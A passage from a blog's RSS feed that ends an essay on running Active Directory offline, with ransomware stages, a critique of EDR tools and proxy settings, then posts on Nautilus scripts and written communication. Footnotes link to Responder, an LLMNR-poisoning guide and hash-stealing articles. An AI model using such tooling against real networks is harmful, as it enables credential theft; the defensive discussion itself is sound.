&lt;li>Privilege escalation and persistence&lt;/li>
&lt;li>Lateral movement&lt;/li>
&lt;li>Data exfiltration for extortion&lt;/li>
&lt;li>Manipulation or destruction of backups&lt;/li>
&lt;li>Encryption&lt;/li>
&lt;/ul>
&lt;p>As a reference, I like to point to the publicly available incident report on the ransomware case at SIT in South Westphalia,&lt;sup id="fnref:32">&lt;a href="#fn:32" class="footnote-ref" role="doc-noteref">32&lt;/a>&lt;/sup> still the largest infrastructure incident in the Federal Republic of Germany.&lt;sup id="fnref:33">&lt;a href="#fn:33" class="footnote-ref" role="doc-noteref">33&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="but-we-have-edrav-software">But We Have EDR/AV Software&lt;/h2>
&lt;p>Time, creativity, expertise, and technical resources are almost unlimited for attackers, while defenders usually struggle with limited means. Three trends I’ve personally observed in recent years:&lt;/p>
&lt;ul>
&lt;li>Attackers mostly use Windows built-in tools.&lt;/li>
&lt;li>Executables are compiled &amp;ldquo;on-site&amp;rdquo; on the target computer.&lt;/li>
&lt;li>EDR/AV software&lt;sup id="fnref:34">&lt;a href="#fn:34" class="footnote-ref" role="doc-noteref">34&lt;/a>&lt;/sup> is ineffective.&lt;sup id="fnref:35">&lt;a href="#fn:35" class="footnote-ref" role="doc-noteref">35&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;p>My Clipboard Auditor so far never has been detected or blocked as malware.&lt;sup id="fnref:36">&lt;a href="#fn:36" class="footnote-ref" role="doc-noteref">36&lt;/a>&lt;/sup> That doesn’t mean it’s particularly good. No EDR/AV in the past decade has ever managed to detect any new ransomware wave and protection cannot be scientifically verified:&lt;sup id="fnref:37">&lt;a href="#fn:37" class="footnote-ref" role="doc-noteref">37&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>Quite alarmingly, we illustrate that no EDR can efficiently detect and prevent the four attack vectors we deployed.&lt;/p>
&lt;/blockquote>
&lt;p>There are also fundamental, Microsoft-typical implementation flaws.&lt;sup id="fnref:38">&lt;a href="#fn:38" class="footnote-ref" role="doc-noteref">38&lt;/a>&lt;/sup> Since the CrowdStrike incident,&lt;sup id="fnref:39">&lt;a href="#fn:39" class="footnote-ref" role="doc-noteref">39&lt;/a>&lt;/sup> it should be clear that EDR/AV itself poses a security risk and that marketing promises rendered meaningless in the EULA.&lt;sup id="fnref:40">&lt;a href="#fn:40" class="footnote-ref" role="doc-noteref">40&lt;/a>&lt;/sup>&lt;/p>
&lt;p>To go forward without EDR/AV software is difficult. Therefore, for a fully offline AD, the Defender built into every Windows system is sufficient. It helps with compliance and keeps costs and the SBOM&lt;sup id="fnref:41">&lt;a href="#fn:41" class="footnote-ref" role="doc-noteref">41&lt;/a>&lt;/sup> low.&lt;/p>
&lt;h2 id="offline-yet-online">Offline Yet Online?&lt;/h2>
&lt;p>Keeping an AD offline does not mean users cannot work. Proxy servers have provided controlled access to the internet for decades.&lt;sup id="fnref:42">&lt;a href="#fn:42" class="footnote-ref" role="doc-noteref">42&lt;/a>&lt;/sup> The details are:&lt;/p>
&lt;ul>
&lt;li>Web browsers must not write their settings into Windows system settings.&lt;/li>
&lt;li>Proxy servers must not have SSO/ NTLM/ Kerberos integration.&lt;/li>
&lt;li>Proxy settings in both the system and web browser must not be changeable by users.&lt;/li>
&lt;/ul>
&lt;p>Microsoft Edge, due to its deep integration with the underlying Windows, is a total failure here. Instead, Mozilla Firefox&lt;sup id="fnref:43">&lt;a href="#fn:43" class="footnote-ref" role="doc-noteref">43&lt;/a>&lt;/sup> is used, with its ADMX group policy templates.&lt;sup id="fnref:44">&lt;a href="#fn:44" class="footnote-ref" role="doc-noteref">44&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20240506-service-tip-proxies.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20240506-service-tip-proxies.webp#c" alt="Mozilla Firefox on a terminal server in an offline AD" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Email clients are even simpler. There’s hardly anything to configure if they connect to a groupware server or mail gateway&lt;sup id="fnref:45">&lt;a href="#fn:45" class="footnote-ref" role="doc-noteref">45&lt;/a>&lt;/sup> within the local network.&lt;/p>
&lt;p>If the mail server is outside the organization, it’s sufficient to register the host with its handful egress&lt;sup id="fnref:46">&lt;a href="#fn:46" class="footnote-ref" role="doc-noteref">46&lt;/a>&lt;/sup> ports in the enterprise firewall.&lt;/p>
&lt;p>And because Microsoft has been gradually making WSUS&lt;sup id="fnref:47">&lt;a href="#fn:47" class="footnote-ref" role="doc-noteref">47&lt;/a>&lt;/sup> worse over time,&lt;sup id="fnref:48">&lt;a href="#fn:48" class="footnote-ref" role="doc-noteref">48&lt;/a>&lt;/sup> internal GitOps update pipelines can keep the AD up to date. What I described for &amp;ldquo;digital twins&amp;rdquo; last year also applies here.&lt;sup id="fnref:49">&lt;a href="#fn:49" class="footnote-ref" role="doc-noteref">49&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The major advantage of an offline-operated system: the &amp;ldquo;update pressure&amp;rdquo; and attack surface are significantly reduced.&lt;/p>
&lt;p>The second major advantage: You become more independent from vendor’s product decisions and lifecycles.&lt;/p>
&lt;p>Let’s be honest, everyone should be aware that locally operated AD infrastructures have no future at Microsoft. Those who don’t want to follow the path into the Azure AI cloud, and there are good reasons not to, should use the remaining time wisely to realign technology stacks and infrastructures.&lt;/p>
&lt;p>I’m happy to help with advice and practical support.&lt;/p>
&lt;p>With that in mind,&lt;br>
Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20240506-service-tips-windows/">https://blog.jakobs.systems/blog/20240506-service-tips-windows/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Active_Directory">https://en.wikipedia.org/wiki/Active_Directory&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/AI_slop">https://en.wikipedia.org/wiki/AI_slop&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/James_Reason">https://en.wikipedia.org/wiki/James_Reason&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://ul-fluglehrer.de/blog/files/20160321-fehlerquelle-mensch.html">https://ul-fluglehrer.de/blog/files/20160321-fehlerquelle-mensch.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Audit_trail">https://en.wikipedia.org/wiki/Audit_trail&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Kerberos_(protocol)">https://en.wikipedia.org/wiki/Kerberos_(protocol)&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Downgrade_attack">https://en.wikipedia.org/wiki/Downgrade_attack&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/NTLM">https://en.wikipedia.org/wiki/NTLM&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/LAN_Manager">https://en.wikipedia.org/wiki/LAN_Manager&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Windows_NT_3.1">https://en.wikipedia.org/wiki/Windows_NT_3.1&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://insecure.org/sploits/winnt.automatic.authentication.html">https://insecure.org/sploits/winnt.automatic.authentication.html&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://learn.microsoft.com/de-de/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain">https://learn.microsoft.com/de-de/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers">https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250712-vom-messdiener-zum-ketzer/">https://blog.jakobs.systems/blog/20250712-vom-messdiener-zum-ketzer/&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20210727-security-by-microsoft/">https://blog.jakobs.systems/micro/20210727-security-by-microsoft/&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://learn.microsoft.com/de-de/windows-server/security/kerberos/ntlm-overview">https://learn.microsoft.com/de-de/windows-server/security/kerberos/ntlm-overview&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20211121-industrie-nt-4/">https://blog.jakobs.systems/blog/20211121-industrie-nt-4/&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://md5decrypt.net/en/Ntlm/">https://md5decrypt.net/en/Ntlm/&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://securify.nl/blog/living-off-the-land-stealing-netntlm-hashes/">https://securify.nl/blog/living-off-the-land-stealing-netntlm-hashes/&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">https://en.wikipedia.org/wiki/WannaCry_ransomware_attack&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://github.com/lgandx/Responder">https://github.com/lgandx/Responder&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://hackingarticles.in/a-detailed-guide-on-responder-llmnr-poisoning/">https://hackingarticles.in/a-detailed-guide-on-responder-llmnr-poisoning/&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-direct">https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-direct&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-over-quic">https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-over-quic&lt;/a>&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Basic_access_authentication">https://en.wikipedia.org/wiki/Basic_access_authentication&lt;/a>&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:27">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Whitelist#Application_whitelists">https://en.wikipedia.org/wiki/Whitelist#Application_whitelists&lt;/a>&amp;#160;&lt;a href="#fnref:27" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:28">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Dropper_(malware)">https://en.wikipedia.org/wiki/Dropper_(malware)&lt;/a>&amp;#160;&lt;a href="#fnref:28" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:29">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Payload_(computing)">https://en.wikipedia.org/wiki/Payload_(computing)&lt;/a>&amp;#160;&lt;a href="#fnref:29" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:30">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Shell_shoveling">https://en.wikipedia.org/wiki/Shell_shoveling&lt;/a>&amp;#160;&lt;a href="#fnref:30" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:31">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Botnet#Command_and_control">https://en.wikipedia.org/wiki/Botnet#Command_and_control&lt;/a>&amp;#160;&lt;a href="#fnref:31" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:32">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20240128-sit-ransomware-abschlussbericht/">https://blog.jakobs.systems/micro/20240128-sit-ransomware-abschlussbericht/&lt;/a>&amp;#160;&lt;a href="#fnref:32" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:33">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20240926-sit-desaster-nrw/">https://blog.jakobs.systems/blog/20240926-sit-desaster-nrw/&lt;/a>&amp;#160;&lt;a href="#fnref:33" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:34">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Endpoint_detection_and_response">https://en.wikipedia.org/wiki/Endpoint_detection_and_response&lt;/a>&amp;#160;&lt;a href="#fnref:34" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:35">
&lt;p>&lt;a href="https://theregister.com/2025/08/14/edr_killers_ransomware/">https://theregister.com/2025/08/14/edr_killers_ransomware/&lt;/a>&amp;#160;&lt;a href="#fnref:35" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:36">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/clipboard-auditor">https://codeberg.org/tomas-jakobs/clipboard-auditor&lt;/a>&amp;#160;&lt;a href="#fnref:36" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:37">
&lt;p>&lt;a href="https://mdpi.com/2624-800X/1/3/21">https://mdpi.com/2624-800X/1/3/21&lt;/a>&amp;#160;&lt;a href="#fnref:37" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:38">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20250509-defender-disabled/">https://blog.jakobs.systems/micro/20250509-defender-disabled/&lt;/a>&amp;#160;&lt;a href="#fnref:38" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:39">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/2024_CrowdStrike-related_IT_outages">https://en.wikipedia.org/wiki/2024_CrowdStrike-related_IT_outages&lt;/a>&amp;#160;&lt;a href="#fnref:39" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:40">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20240720-tolduso-moment/">https://blog.jakobs.systems/micro/20240720-tolduso-moment/&lt;/a>&amp;#160;&lt;a href="#fnref:40" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:41">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Software_supply_chain">https://en.wikipedia.org/wiki/Software_supply_chain&lt;/a>&amp;#160;&lt;a href="#fnref:41" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:42">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Proxy_server">https://en.wikipedia.org/wiki/Proxy_server&lt;/a>&amp;#160;&lt;a href="#fnref:42" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:43">
&lt;p>&lt;a href="https://firefox.com/de/download/all/">https://firefox.com/de/download/all/&lt;/a>&amp;#160;&lt;a href="#fnref:43" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:44">
&lt;p>&lt;a href="https://github.com/mozilla/policy-templates/releases">https://github.com/mozilla/policy-templates/releases&lt;/a>&amp;#160;&lt;a href="#fnref:44" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:45">
&lt;p>&lt;a href="https://proxmox.com/en/products/proxmox-mail-gateway/overview">https://proxmox.com/en/products/proxmox-mail-gateway/overview&lt;/a>&amp;#160;&lt;a href="#fnref:45" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:46">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Egress_filtering">https://en.wikipedia.org/wiki/Egress_filtering&lt;/a>&amp;#160;&lt;a href="#fnref:46" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:47">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Windows_Server_Update_Services">https://en.wikipedia.org/wiki/Windows_Server_Update_Services&lt;/a>&amp;#160;&lt;a href="#fnref:47" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:48">
&lt;p>&lt;a href="https://borncity.com/blog/2025/09/15/windows-11-trouble-mit-wsus-gpos-und-update-source-sowie-agpm-eol/">https://borncity.com/blog/2025/09/15/windows-11-trouble-mit-wsus-gpos-und-update-source-sowie-agpm-eol/&lt;/a>&amp;#160;&lt;a href="#fnref:48" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:49">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20241016-hyperv-backups-faq/">https://blog.jakobs.systems/micro/20241016-hyperv-backups-faq/&lt;/a>&amp;#160;&lt;a href="#fnref:49" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Nautilus Helper on codeberg.org</title><link>https://blog.jakobs.systems/en/micro/20251003-nautilus-helpers/</link><pubDate>Fri, 03 Oct 2025 19:36:16 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20251003-nautilus-helpers/</guid><description>today on public holiday I polished my Nautilus script collection and uploaded it to Codeberg. For everyone who enjoys automating recurring tasks such as OCR on PDFs, creating animated WebP images from a selection of pictures, or encoding videos in h.265.</description><category>Bash</category><category>Tool</category><category>Opensource</category><category>Codeberg</category><content>&lt;p>Today on public holiday (in Germany) I polished my Nautilus script collection and uploaded it to Codeberg.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> For everyone who enjoys automating recurring tasks such as OCR on PDFs, creating animated WebP images from a selection of pictures, or encoding videos in h.265.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251003-nautilus-helpers.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251003-nautilus-helpers.webp#c" alt="Screenshot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The script collection will be updated from time to time. I already have some nice ideas in mind, like posting a graphic directly to Mastodon, more to come.&lt;/p>
&lt;p>Have fun and enjoy the weekend!&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/gnome-script-folder-tools">https://codeberg.org/tomas-jakobs/gnome-script-folder-tools&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>What's Not Written Doesn’t Exist</title><link>https://blog.jakobs.systems/en/blog/20250918-transcription-matters/</link><pubDate>Thu, 18 Sep 2025 10:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20250918-transcription-matters/</guid><description>An example of how casual verbal communication can go seriously wrong.</description><category>Communication</category><category>Management</category><category>Documentation</category><category>Concepts</category><content>&lt;p>A typical day in a mid-sized company. The already overworked developer, deep in crunch mode&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> gets a quick note: &amp;ldquo;Would you please make the open invoices visible in the overview of all customers for this project?&amp;rdquo; Dutifully, he nods. He knows it’s an important project, the task isn’t technically difficult and the boss likes quick and simple solutions.&lt;/p>
&lt;p>So somehow &amp;ldquo;in between&amp;rdquo; late in the afternoon, he &amp;ldquo;enhances&amp;rdquo; the UI, &amp;ldquo;adds&amp;rdquo; extra queries to the frontend, &amp;ldquo;adjusts&amp;rdquo; the corresponding logic in the backend, and &amp;ldquo;builds&amp;rdquo; new views for tje resulting lists. He even goes the extra mile by making the invoices click- and viewable. Tired but satisfied, the developer leans back shortly before midnight with the good feeling of having improved the application.&lt;/p>
&lt;p>On the next morning, the boom halls through the corridor. No one agreed on these changes. Originally meant was just an additional column showing total sums. No lists, no dialogs and definitely no clickable documents for everybody. Frustration spreads. Damage control is needed for the entire team, not just for the developer. The time-critical project is set back by days though no one misunderstood something or acted in bad faith.&lt;/p>
&lt;p>This is only a fictional example, but one that probably feels all too familiar. It doesn’t matter whether it’s a developer, admin, or project manager. Spontaneous verbal communication &amp;ldquo;in passing&amp;rdquo; is always tempting, so simple and convenient. Everyone is instantly satisfied. Work is delegated, seemingly understood, and quickly solved. But it doesn’t establish a binding foundation.&lt;/p>
&lt;p>And the more people are involved in a project, the more things tend to start a life of their own. This is especially true when communicating with external parties or non-technical stakeholders, where terms are often interpreted differently. For example, I once noticed in an advanced ERP project that someone kept talking about &amp;ldquo;services&amp;rdquo;, but technically meant stored procedures&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>. A difference with far-reaching operational consequences.&lt;/p>
&lt;blockquote>
&lt;p>What&amp;rsquo;s not written doesn’t exist.&lt;/p>
&lt;/blockquote>
&lt;p>A variation of the legal maxim: &amp;ldquo;Quod non est in actis, non est in mundo&amp;rdquo;.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> Precision in the description of a work package, ticket, or meeting note prevents misunderstandings. Any written record, no matter how unnecessary it may seem, provides reference, clarity and accountability. Or do you remember exactly what you said six months ago on an unimportant issue then, that’s escalated now?&lt;/p>
&lt;h3 id="context-and-asynchronous-communication-matter">Context and Asynchronous Communication Matter&lt;/h3>
&lt;p>But writing down things isn’t enough. It must be structured and findable aswell. So individual thoughts can evolve into something collective within a company.&lt;/p>
&lt;p>What is contextualized information? Let’s start with what lacks context: Chats in Teams and similar tools, loose files within a SMB share or SharePoint. Long, tangled email threads, outsiders barely can follow.&lt;/p>
&lt;p>In stark contrast, tickets that reference a user, issue and ideally an asset do have context. Tasks in a project that relate to or derive from a previous task have context. A well-tagged, searchable wiki article has context. Ideally, all this lives in a project management tool, ticket system, or wiki.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Communication should always be asynchronous&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> and structured with a clear context so that it remains accessible to everyone, regardless of time and place. That’s what defines professional digital operations.&lt;/p>
&lt;h2 id="no-digitalization-without-documentation">No Digitalization Without Documentation&lt;/h2>
&lt;p>In such environments, transparency and traceability of decisions almost become byproducts. Devices, users, and incidents gain a history. Processes, given a &amp;ldquo;before&amp;rdquo; and &amp;ldquo;after&amp;rdquo;, can be qualitatively measured and improved.&lt;/p>
&lt;p>No one can suddenly show up in a meeting with the usual existential question: Why was something implemented exactly this way and not differently? In my experience, these questions usually appear right before a project ends and have the potential to bust it.&lt;/p>
&lt;p>Digitalization projects fail for many reasons. One of the most common is the lack of written documentation. Often in combination with unclear communication and improper document management.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> Interestingly, this is often found in environments that pride themselves on being so modern and digitalized, sitting in endless chats and video calls, ultimately wasting valuable time.&lt;/p>
&lt;p>In this context, I often refer to Florian Haas’s 2020 FrOSCon talk: &amp;ldquo;No, we won&amp;rsquo;t have a video call for that!&amp;rdquo;&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
